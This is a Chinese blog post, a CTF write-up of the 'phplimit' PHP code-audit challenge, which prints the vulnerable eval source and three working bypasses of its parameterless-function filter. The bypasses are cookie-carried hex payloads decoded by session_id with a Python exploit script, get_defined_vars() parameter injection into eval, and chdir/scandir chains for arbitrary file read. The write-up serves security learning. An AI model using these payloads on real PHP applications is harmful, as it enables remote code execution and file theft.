美文网首页CTF练习网络安全实验室
代码审计从入门到放弃(三) & phplimit

代码审计从入门到放弃(三) & phplimit

作者: 蚁景科技 | 来源:发表于2019-03-15 09:35 被阅读105次

    前言

    接着前面的代码审计从入门到放弃(一) & function代码审计从入门到放弃(二) & pcrewaf

    本次是phplimit这道题,本篇文章提供了3种解法,即如何利用无参数函数进行RCE/任意文件读取

    题目概述

    题目源码如下:

    <?php

    if(';'=== preg_replace('/[^\W]+\((?R)?\)/','', $_GET['code'])) {

    eval($_GET['code']);

    }else{

    show_source(__FILE__);

    }

    代码非常清晰,首先

    preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])

    代码会将$_GET['code']中满足正则/[^\W]+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于;如果满足,则执行eval($_GET['code']);否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE

    [^\W]+\((?R)?\)

    首先是[^\W],对于\W,其意思等价于[^A-Za-z0-9_]。那么我们知道,我们的input必须以此开头

    然后是括号匹配\( ...... \)括号中间为(?R)?意思为重复整个模式。简单理解,我们可以输入以下类型

    a(b(c()))

    但我们不能加参数,否则将无法匹配a(c,d)

    所以正则看完,题目的意思非常明确了:我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号;

    漏洞点分析

    那么有没有办法通过无参数函数,达到RCE的目的呢?答案显然是不可能的,没有参数,怎么传递我们需要执行的指令呢?

    所以我们的目标也变得很明确:通过某种无参数函数获取指定位置的变量value,达到RCE的目的。

    那么哪里有我们可以控制的变量,并且还能通过无参数函数获取到呢?

    那么思路又变得清晰了,http header就是我们的突破口。我们可以更改header中的各项属性,以及其value。

    那么有没有函数可以函数http header呢?

    我们在php手册中直接搜索

    能用的手段很多,例如

    getallheaders()

    file_get_contents(array_pop(apache_request_headers()))

    但如果我们测试的话,会发现均不可用,因为其为Apache函数

    但我们看当前题目

    < HTTP/1.1200OK

    < Server: nginx/1.15.9

    < Content-Type:text/html; charset=utf-8

    < Transfer-Encoding: chunked

    < Connection: keep-alive

    < X-Powered-By: PHP/5.6.40

    <

    其是nginx,所以之前的方式均无效了。

    寻找nginx函数

    那么现在思路又进一步变为:寻找nginx函数,以获取http headers

    查阅php手册,并未发现相关可利用函数,于是此路终止。

    那不能获取http headers怎么办?我们又该如何进行参数的传递?

    这里我们可以转换一下思路,之间获取http headers,我们能获取非常多的属性,也就是说我们的可修改位置非常多,相当于一个面。但其实我们只要能够获取,并修改1条属性就够了,例如cookie或是X-Forward-For等等……

    这样就相当于从寻找一个面变成寻找一个点,难易程度就会大幅下降。

    那么最容易想到的应该就是cookie了

    方法1

    我们在php手册中,搜索cookie

    我们点入session中,可以发现这样一个函数

    session_id ([string$id ] ) :string

    session_id() 可以用来获取/设置当前会话 ID。

    那么我们可以用此方法来获取phpsessionid,并且phpsessionid可控

    但其有限制如下

    文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

    但问题不大,实际上我们只要拥有

    0-9,a-f

    就够了,因为我们可以将16进制转字符串,例如

    >>>print'echo "sky cool";'.encode('hex')

    6563686f2022736b7920636f6f6c223b

    php >eval(hex2bin('6563686f2022736b7920636f6f6c223b'));

    sky cool

    我们可以看到,成功的执行命令

    也就是说,我们只要使用

    eval(hex2bin(session_id()));

    即可执行任意命令

    但是当前题目并没有开启session_start()

    所以我们这里输入如下即可

    hex2bin(session_id(session_start()))

    我们编写脚本

    import requests

    url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'

    payload ="echo 'sky cool';".encode('hex')

    cookies = {

    'PHPSESSID':payload

    }

    r = requests.get(url=url,cookies=cookies)

    print r.content

    那么下面就是找flag即可

    payload ="var_dump(scandir('./'));".encode('hex')

    array(3) {

    [0]=>

    string(1)"."

    [1]=>

    string(2)".."

    [2]=>

    string(9)"index.php"

    }

    payload ="var_dump(scandir('../'));".encode('hex')

    array(4) {

    [0]=>

    string(1)"."

    [1]=>

    string(2)".."

    [2]=>

    string(14)"flag_phpbyp4ss"

    [3]=>

    string(4)"html"

    }

    payload ="var_dump(file_get_contents('../flag_phpbyp4ss'));".encode('hex')

    string(38)"flag{e86963ba34687d269b9faf526ce68cd7}"

    最后可以成功getflag:

    flag{e86963ba34687d269b9faf526ce68cd7}

    方法2

    我们通过php session的控制,达成了RCE的目的,那么我们有没有其他类似的方法呢?

    答案是肯定的,我们还可以通过我们传递的参数来进行RCE,有如下函数

    get_defined_vars()

    此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

    我们测试一下http://localhost/?code=var_dump(get_defined_vars());&a=2

    得到回显

    array(4) { ["_GET"]=>array(2) { ["code"]=> string(29)"var_dump(get_defined_vars());"["a"]=> string(1)"2"} ["_POST"]=>array(0) { } ["_COOKIE"]=>array(0) { } ["_FILES"]=>array(0) { } }

    那么如何将里面的["a"]=>string(1)"2"提取出来呢?

    这里有一系列提取位置的函数,我们首先使用current()函数,得到回显

    ?code=var_dump(current(get_defined_vars()));&a=2

    array(2) { ["code"]=>string(38)"var_dump(current(get_defined_vars()));"["a"]=>string(1)"2"}

    我们再取这个数组的最后一个

    ?code=var_dump(end(current(get_defined_vars())));&a=2

    string(1) "2"

    即得到了回显。那么后面就比较简单了,控制a进行RCE即可

    ?code=eval(end(current(get_defined_vars())));&a=phpinfo();

    然后getflag

    ?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);

    即可拿到flag

    flag{e86963ba34687d269b9faf526ce68cd7}

    方法3

    为什么一定要RCE呢?这个题既然flag放在文件里,我们能不能直接读文件就行?之前的方法都基于可以进行RCE,可以说我们是把题目难度又加大了,实际上,我们只进行任意文件读取即可。那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?首先,我们可以利用getcwd()获取当前目录

    ?code=var_dump(getcwd());

    string(13)"/var/www/html"

    那么怎么进行当前目录的目录遍历呢?

    这里用scandir()即可

    ?code=var_dump(scandir(getcwd()));

    array(3) { [0]=>string(1)"."[1]=>string(2)".."[2]=>string(9)"index.php"}

    那么既然不在这一层目录,如何进行目录上跳呢?

    我们用dirname()即可

    ?code=var_dump(scandir(dirname(getcwd())));

    array(4) { [0]=>string(1)"."[1]=>string(2)".."[2]=>string(14)"flag_phpbyp4ss"[3]=>string(4)"html"}

    即可发现flag文件,那么问题又回到之前,如果取数组指定位置的值,我们需要取的位置是第3个,我们有的方法如下

    current() 取第一个

    next() 取第二个

    end() 取最后一个

    那么怎么取第三个呢?我们这里让数组倒叙,然后取第二个即可

    ?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));

    string(14)"flag_phpbyp4ss"

    那么读文件

    ?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));

    Warning: file_get_contents(flag_phpbyp4ss): failedtoopen stream: No suchfileordirectoryin/var/www/html/index.php(3) : eval()'d code on line 1

    发现报错了,我们找不到这个文件,因为没有../上跳呀,这该怎么办呢?这里我们发现有函数可以更改当前目录

    chdir( string$directory) : bool

    将 PHP 的当前目录改为 directory。

    所以我们这里在

    dirname(getcwd())

    进行如下设置即可

    chdir(dirname(getcwd()))

    这样我们的当前目录就在/var/www下了

    但此时,我们的值变为了bool值,我们为了遍历目录,需要让他变回来,所以我们先进行目录上跳

    var_dump(dirname(chdir(dirname(getcwd()))));

    string(1)"."

    再列目录

    var_dump(scandir(dirname(chdir(dirname(getcwd())))));

    array(4) { [0]=>string(1)"."[1]=>string(2)".."[2]=>string(14)"flag_phpbyp4ss"[3]=>string(4)"html"}

    然后就回到了之前的问题了,我们直接取文件,读取即可

    readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

    即可拿到flag

    flag{e86963ba34687d269b9faf526ce68cd7}

    小结

    这种开放式的题目非常有趣,可以帮助我们了解许多php黑魔法和各种组合,我相信方法远不止这3种,欢迎各位讨论!

    相关实验操作

    1. PHP脚本语言基础:学会基础的PHP编程

    http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001

    2. Nginx代码执行和目录跨越漏洞:熟悉目录跨越的成因和攻击利用

    http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001

    相关文章

      网友评论

        本文标题:代码审计从入门到放弃(三) & phplimit

        本文链接:https://www.haomeiwen.com/subject/fvwkmqtx.html